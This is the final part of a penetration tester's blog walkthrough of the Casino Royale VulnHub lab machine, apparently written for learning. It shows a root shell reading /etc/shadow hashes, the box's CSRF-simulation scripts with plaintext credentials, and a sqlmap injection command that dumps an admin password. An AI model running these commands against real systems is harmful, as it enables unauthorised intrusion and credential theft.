uid=0(root) gid=1000(le) groups=1000(le),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)

Gathering the Loot

With root access, I went to /root/flag, and ran the flag.sh script.

I received a neat web page, along with some ASCII flag goodness.

Casino Royale VulnHub - Flag

Additionally, I grabbed the /etc/shadow file, just for fun.

root@casino:/root# cat /etc/shadow
cat /etc/shadow
root:$6$D5NeEr6.$x1LzhfldR2peVCa15AH9TDQLjBain1Fbv5bLstQQNidIo83iKFoIk8CAwRDATqM9fQhfyRP3Osr9JBLFwokxw/:17947:0:99999:7:::
daemon:*:17852:0:99999:7:::
bin:*:17852:0:99999:7:::
sys:*:17852:0:99999:7:::
sync:*:17852:0:99999:7:::
games:*:17852:0:99999:7:::
man:*:17852:0:99999:7:::
lp:*:17852:0:99999:7:::
mail:*:17852:0:99999:7:::
news:*:17852:0:99999:7:::
uucp:*:17852:0:99999:7:::
proxy:*:17852:0:99999:7:::
www-data:*:17852:0:99999:7:::
backup:*:17852:0:99999:7:::
list:*:17852:0:99999:7:::
irc:*:17852:0:99999:7:::
gnats:*:17852:0:99999:7:::
nobody:*:17852:0:99999:7:::
systemd-timesync:*:17852:0:99999:7:::
systemd-network:*:17852:0:99999:7:::
systemd-resolve:*:17852:0:99999:7:::
systemd-bus-proxy:*:17852:0:99999:7:::
_apt:*:17852:0:99999:7:::
rtkit:*:17852:0:99999:7:::
messagebus:*:17852:0:99999:7:::
usbmux:*:17852:0:99999:7:::
speech-dispatcher:!:17852:0:99999:7:::
lightdm:*:17852:0:99999:7:::
pulse:*:17852:0:99999:7:::
avahi:*:17852:0:99999:7:::
saned:*:17852:0:99999:7:::
le:$6$npPh5/2g$3g9SJjuxJ37yhggxtqTfTWtgxB9um4nfStRjqB1wqQIGTmWzYhl6J4QUVNSPVQ13PLxmbxerP1jMonNh3UrDO0:17914:0:99999:7:::
mysql:!:17852:0:99999:7:::
valenka:$6$FUfxUs.C$EE/hxO//0Q43sK8vecupbNiJM3918KVStI4TC4ktJlrljA36DFnb8itdUjsaOCvX/sxssL0xsyldH7X7UZAIf.:17852:0:99999:7:::
postfix:*:17853:0:99999:7:::
ftp:*:17909:0:99999:7:::
ftpUserULTRA:$6$BRKNJt95$sBx7f3RuYep1XBV4XUIsh4p3inoJpVdTVGewCBy53OC5L2jIaVBamWNDXuVCq8WsVYz.KzxnDN2nLKUhRaN.f0:17948:0:99999:7:::

.

There were some neat scripts in the ctf-scripts, including one that explained my initial issues with the CSRF e-mail.

root@casino:/root# cat ctf-scripts/*
cat ctf-scripts/*
#!/bin/bash
while true
do
    /bin/bash /root/ctf-scripts/ck.sh
    sleep 120
done
#!/bin/bash

qck=$(ls /home/valenka/Maildir/new/)
if [ -z "$qck" ]; then
    echo "empty"
    exit
fi

for mess in /home/valenka/Maildir/new/*; do
    m=$(cat $mess)
    sub=$(echo "${m}" |grep subject)
    v=$(echo "${sub}" |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios)
    if [ -z "$v" ]; then
        echo "no good"
        rm $mess
        exit
    else
        cd /root/ctf-scripts/
        echo "good"
        badurl=$(cat $mess |grep http)
        fna=$(echo "$mess" |rev | cut -d '/' -f1 |rev)
        #echo "$fna"
        cop=$(cp /root/ctf-scripts/ok.js /root/ctf-scripts/$fna.js)
        
        #echo "var newurl=http://192.168.178.143/casino/bad.html'" >> $fna.js
        echo "var newurl='""${badurl}""'" >> $fna.js
        echo 'casper.thenOpen(newurl, function() {' >> $fna.js
               echo '    console.log("new pageloaded");'>> $fna.js
        echo '});' >> $fna.js

        echo 'casper.then(function() {' >> $fna.js
        # echo '  casper.click('input[type="submit"]');' >> $fna.js
        x=$(echo "  casper.click('input[")
        y=$(echo 'type="submit"]')
        z=$(echo "');")

        echo $x$y$z >> $fna.js
        echo '});' >> $fna.js
        echo 'casper.run();' >> $fna.js
        /root/node_modules/casperjs/bin/casperjs $fna.js
        sleep 3
        mysql -h "localhost" -u "valenka" "-p11archives11!" "vip" < "/root/ctf-scripts/enab.sql"    
        rm /root/ctf-scripts/$fna.js
        rm $mess
    fi    


done
sleep 120
#!/bin/bash

for mess in /home/valenka/Maildir/new/*; do
    m=$(cat $mess)
    sub=$(echo "${m}" |grep subject)
    v=$(echo "${sub}" |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios)
    if [ -z "$v" ]; then
        echo "no good"
    else
        echo "good"
        fna=$(echo "$mess" |rev | cut -d '/' -f1 |rev)
        #echo "$fna"
        cop=$(cp ok.js $fna.js)
        
        echo "var newurl='http://localhost/bad.html'" >> $fna.js
        echo 'casper.thenOpen(newurl, function() {' >> $fna.js
               echo '    console.log("new pageloaded");'>> $fna.js
        echo '});' >> $fna.js

        echo 'casper.run();' >> $fna.js

        
        casperjs $fna.js
        sleep 3
        #rm $fna.js
    fi    
    #v=$(cat $m |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios)
    #if grep -i $mess; then
        




done
UPDATE sfc_user_accounts SET status = 1 WHERE status is NULL;
var casper = require('casper').create({   
    verbose: true,
    logLevel: 'debug',
    pageSettings: {
         loadImages:  false,         // The WebPage instance used by Casper will
         loadPlugins: false,         // use these settings
         userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4'
    }
});

// print out all the messages in the headless browser context
casper.on('remote.message', function(msg) {
    this.echo('remote message caught: ' + msg);
});

// print out all the messages in the headless browser context
casper.on("page.error", function(msg, trace) {
    this.echo("Page Error: " + msg, "ERROR");
});

var url = 'http://casino-royale.local/vip-client-portfolios/?uri=signin';
//var newurl= 'http://localhost/index.php'

casper.start(url, function() {
   console.log("page loaded");
   //this.test.assertExists('form#login_form', 'form is found');
   this.fill('form#signInForm', {
        emailAddress: 'valenka@casino-royale.local',
        password:  'ilikepoker007'
    }, true);
});



casper.thenEvaluate(function(){
   console.log("Page Title " + document.title);
//   console.log("Your name is " + document.querySelector('.headerTinymanName').textContent );
});

//casper.thenOpen(newurl, function() {
//    console.log("new pageloaded");
//});

//casper.thenEvaluate(function(){
//   console.log("Page Title " + document.title);
//});

//casper.run();
var page = require('webpage').create();
var host = "127.0.0.1";
var url = "http://"+host+"/svc-inq/salesmoon-gui.php";
var timeout = 10000;
page.onNavigationRequested = function(url, type, willNavigate, main) {
    console.log("[URL] URL="+url);  
};
page.settings.resourceTimeout = timeout;
page.onResourceTimeout = function(e) {
    setTimeout(function(){
        console.log("[INFO] Timeout")
        phantom.exit();
    }, 1);
};
page.open(url, function(status) {
    console.log("[INFO] rendered page");
    setTimeout(function(){
        phantom.exit();
    }, 10000);
});

Bonus Vulnerability

As a final bonus, I later realized that the PokerMax login page was also vulnerable to SQL injection. I'm not sure if this is actually disclosed, since I wasn't able to find it during my initial search.

root@kali:~/casino sqlmap -u 'http://192.168.171.4/pokeradmin/index.php' --data='op=adminlogin&username=admin&password=admin' --level 5 --risk 3 --dump
        ___
       __H__
___ ___[,]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:35:17

[14:35:18] [INFO] testing connection to the target URL
[14:35:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:35:18] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[14:35:18] [INFO] testing if the target URL content is stable
[14:35:19] [INFO] target URL content is stable
[14:35:19] [INFO] testing if POST parameter 'op' is dynamic
[14:35:19] [WARNING] POST parameter 'op' does not appear to be dynamic
[14:35:19] [INFO] heuristics detected web page charset 'ascii'
[14:35:19] [WARNING] heuristic (basic) test shows that POST parameter 'op' might not be injectable


...



Database: pokerleague
Table: pokermax_admin
[1 entry]
+----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+
| id | username | password       | league_name   | league_email | league_information                                                                                                                                          | league_tournament_director |
+----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+
| 1  | admin    | raise12million | Casino Royale | NA           | Elite High-stakes Texas Hold em located at the Casino Royale in Montenegro. Please use our Domain name when accessing this site: casino-royale.local | Le                         |
+----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+

[15:57:12] [INFO] table 'pokerleague.pokermax_admin' dumped to CSV file '/root/.sqlmap/output/192.168.171.4/dump/pokerleague/pokermax_admin.csv'
[15:57:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.171.4'

[*] shutting down at 15:57:12

Casino Royale VulnHub - Conclusion

This was a fun VM, and I'm glad I got back to doing another VulnHub write-up.

While it took a bit longer, there were plenty of challenges and potential shortcuts along the way.

If you'd like to see more of these, then feel free to suggest specific VMs that you want to see solutions for!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

2 Comments

Filed under Security Not Included

2 Responses to Casino Royale VulnHub Walkthrough – Bond, James Bond

  1. Amit

    I am unable to login into VM or casino royale. Can someone help me out with credentials ??

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.